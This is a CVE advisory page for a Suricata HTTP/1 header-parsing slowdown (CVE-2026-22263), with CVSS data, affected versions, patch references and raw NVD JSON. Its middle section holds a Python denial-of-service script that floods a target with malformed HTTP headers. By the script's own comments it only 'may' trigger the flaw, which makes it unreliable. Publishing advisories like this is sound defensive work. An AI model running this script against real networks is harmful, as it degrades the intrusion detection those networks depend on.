Security Vulnerability Report
中文
CVE-2026-22263 CVSS 5.3 MEDIUM

CVE-2026-22263

Published: 2026-01-27 19:16:14
Last Modified: 2026-01-29 21:00:55

Description

Suricata is a network IDS, IPS and NSM engine. Starting in version 8.0.0 and prior to version 8.0.3, inefficiency in http1 headers parsing can lead to slowdown over multiple packets. Version 8.0.3 patches the issue. No known workarounds are available.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
Suricata 8.0.0
Suricata 8.0.1
Suricata 8.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22263 PoC - Suricata HTTP1 Header Parsing DoS # This PoC demonstrates sending malformed HTTP requests to trigger # the inefficient parsing in Suricata versions 8.0.0-8.0.2 import socket import time import sys def send_malformed_http_request(target_host, target_port, request_count=100): """ Send malformed HTTP/1.1 requests to trigger inefficient parsing. The vulnerability exists in HTTP1 header parsing which can cause performance degradation when processing specially crafted headers. """ # Malformed HTTP requests that may trigger inefficient parsing # Using various header manipulation techniques payloads = [ # Payload 1: Excessive header field folding b"GET / HTTP/1.1\r\n" b"Host: target\r\n" b"X-Header: value\r\n\t\r\n", # Payload 2: Malformed header continuation b"GET / HTTP/1.1\r\n" b"Host: target\r\n" b"X-Malformed:\r\n\tsecond-line\r\n\r\n", # Payload 3: Multiple colon variations b"GET / HTTP/1.1\r\n" b"Host:target\r\n" b"X-Test: multiple spaces \r\n\r\n", # Payload 4: Long header values with special chars b"GET / HTTP/1.1\r\n" b"Host: target\r\n" b"X-Evil: " + b"A" * 10000 + b"\r\n\r\n" ] print(f"[*] Starting CVE-2026-22263 DoS test against {target_host}:{target_port}") print(f"[*] Sending {request_count} malformed requests...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) for i in range(request_count): payload = payloads[i % len(payloads)] sock.sendall(payload) time.sleep(0.1) # Small delay between requests if (i + 1) % 10 == 0: print(f"[*] Sent {i + 1}/{request_count} requests") print("[+] Test completed. Monitor Suricata for performance degradation.") sock.close() except Exception as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2026-22263-poc.py <target_host> <target_port>") print("Example: python cve-2026-22263-poc.py 192.168.1.100 80") sys.exit(1) target_host = sys.argv[1] target_port = int(sys.argv[2]) send_malformed_http_request(target_host, target_port, request_count=100) # Note: This PoC is for educational and authorized testing purposes only. # The actual exploitation requires the target to be running Suricata # with HTTP traffic inspection enabled on the path to the target.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22263", "sourceIdentifier": "[email protected]", "published": "2026-01-27T19:16:14.490", "lastModified": "2026-01-29T21:00:55.190", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Suricata is a network IDS, IPS and NSM engine. Starting in version 8.0.0 and prior to version 8.0.3, inefficiency in http1 headers parsing can lead to slowdown over multiple packets. Version 8.0.3 patches the issue. No known workarounds are available."}, {"lang": "es", "value": "Suricata es un motor de IDS, IPS y NSM de red. A partir de la versión 8.0.0 y antes de la versión 8.0.3, una ineficiencia en el análisis de cabeceras http1 puede provocar una ralentización a lo largo de múltiples paquetes. La versión 8.0.3 corrige el problema. No se conocen soluciones alternativas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1050"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.3", "matchCriteriaId": "E7DA8362-52A2-4ACC-83F7-CA2E77AE89C6"}]}]}], "references": [{"url": "https://github.com/OISF/suricata/commit/018a377f74e3eb2b042c6f783ad9043060923428", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OISF/suricata/security/advisories/GHSA-rwc5-hxj6-hwx7", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://redmine.openinfosecfoundation.org/issues/8201", "source": "[email protected]", "tags": ["Permissions Required"]}]}}